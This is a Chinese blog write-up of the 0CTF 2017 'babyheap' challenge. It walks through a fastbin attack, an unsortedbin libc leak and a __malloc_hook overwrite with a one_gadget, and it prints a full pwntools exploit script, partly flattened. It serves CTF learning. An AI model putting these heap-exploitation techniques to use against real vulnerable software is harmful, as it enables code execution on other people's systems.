0ctf-2017-babyheap图解

刚入门pwn的菜鸡选手看这个最简单的堆题都看了好久，在这里写一下自己的分析做备忘，也希望能帮助那些跟我一样刚刚接触堆的萌新。
主要思路就是:

fastbin attack
unsortedbin attack 泄露libc地址
malloc_hook劫持程序流

程序分析

因为markdown画图不太熟悉，就用其他软件画了图。
先放exp，因为下面的图是根据exp画的。

#!/usr/bin/python
# -*- coding: utf-8 -*-
# ************************************************************************
# *
# * @file:babyheap_0ctf_2017.py
# * @date:2020-01-30 22:31
# * @version 1.0
# * @description: Python Script
# * @Author: sakai
# * @Copyright (c)  all right reserved
# *
#************************************************************************* from pwn import *
import syscontext.terminal = ['tmux', 'splitw', '-h' ]
context(os='linux', arch='amd64', log_level='debug')local_file = './babyheap_0ctf_2017'
ip = 'node3.buuoj.cn'
port = 1
def con(cmd):if cmd == 0:sh = process(local_file)else:sh = remote(ip, port)return shdef cmd(x):sh.sendlineafter('Command: ',str(x))def allocate(size):cmd(1)sh.sendlineafter('Size: ',str(size))def fill(index,content):cmd(2)sh.sendlineafter('Index: ',str(index))sh.sendlineafter('Size: ',str(len(content)))sh.sendlineafter('Content: ',content)def free(index):cmd(3)sh.sendlineafter('Index: ',str(index))def dump(index):cmd(4)sh.sendlineafter('Index: ',str(index))sh = con(0)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 图0
allocate(0x10)
allocate(0x10)
allocate(0x30)
allocate(0x40)
allocate(0x60)
#图１
fill(0, p64(0x51)*4)
fill(2, p64(0x31)*6)
free(1)
#图２
allocate(0x40)
fill(1,p64(0x91)*4)
#图３
free(2)
dump(1)
sh.recv(0x2a)
addr = u64(sh.recv(6).ljust(8,'\x00'))
success('get_addr => '+hex(addr))
malloc_hook = addr - 0x68
success('malloc_hook => '+hex(malloc_hook))
#图５
free(4)
payload = p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
#图６
allocate(0x60) #idx2
allocate(0x60) #idx4libc_addr = malloc_hook-libc.symbols['__malloc_hook']
success('libc ='+hex(libc_addr))
one_gadget = p64(libc_addr+0x4526a)
payload = 'a'*0x13+ one_gadget  #本地计算偏移
fill(4,payload)
allocate(1)
sh.interactive()

下一步我们继续申请2个0x60的chunk，因为fastbin上链了3个节点，首先会从fastbin[0x70]链表中取出来第一个节点(对应开始位置是上图中的D0处)，建立了一个总大小为0x70的chunk。第二次allocate则会取链表的下一个节点，也就是malloc_hook-0x23这个地址作为新的chunk的开始地址，这个chunk总的大小还是0x70。通过本地查看信息计算偏移，得到最后的payload

参考链接:
2017-0ctf-babyheap
ctfwiki

0ctf-2017-babyheap图解相关推荐

0ctf 2017 kernel pwn knote write up
UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...
确认main_arena相对libc的偏移地址
前言打保护全开的堆题时碰到的问题, 大佬wp直接给exp, 但是奈何萌新很多细节不懂啊现在记录一下寻找main_arena相对libc偏移的方法(又水一篇博客) 在0CTF 2017 babyhe ...
pwn with glibc heap（堆利用手册）
前言对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. 文中未做说明均是指 glibc 2.23 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析本节只是简 ...
2019 6月编程语言_六月开始提供435项免费在线编程和计算机科学课程
2019 6月编程语言 Five years ago, universities like MIT and Stanford first opened up free online courses t ...
计算机科学导论第五版_五月份将开始提供438项免费在线编程和计算机科学课程
计算机科学导论第五版 Five years ago, universities like MIT and Stanford first opened up free online courses to ...
计算机编程课程顺序_您可以在八月开始学习450项免费的在线编程和计算机科学课程...
计算机编程课程顺序 Five years ago, universities like MIT and Stanford first opened up free online courses to ...
linux 堆溢出 pwn 指南,新手科普 | CTF PWN堆溢出总结
学习汇总序言自从加入RTIS交流群, 在7o8v师傅,gd大佬的帮助下,PWN学习之路进入加速度.下面是八周学习的总结,基本上是按照how2heap路线走的.由于八周内容全写,篇幅太长,这里只讲述 ...
从10个角度来检测自己是不是一个合格的前端工程师
开篇前端开发是一个非常特殊的行业,它的历史实际上不是很长,但是知识之繁杂,技术迭代速度之快是其他技术所不能比拟的. winter在他的<重学前端>课程中提到: 到现在为止,前端工程师已经 ...
2017 0ctf——babyheap
64位程序,保护全开 #fastbin attack 程序逻辑 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 __ ...
poi 公式转图片_三阶魔方公式符号图解V2.0(2017/12/15)_碧海风云
本文出自微信公众号[碧海风云]之<三阶魔方公式符号图解V2.0(2017/12/15)_碧海风云> 公式符号概述英国原伦敦南岸大学数学教授大卫·辛马斯特(David Breyer Sin ...

0ctf-2017-babyheap图解

程序分析

0ctf-2017-babyheap图解相关推荐

最新文章

热门文章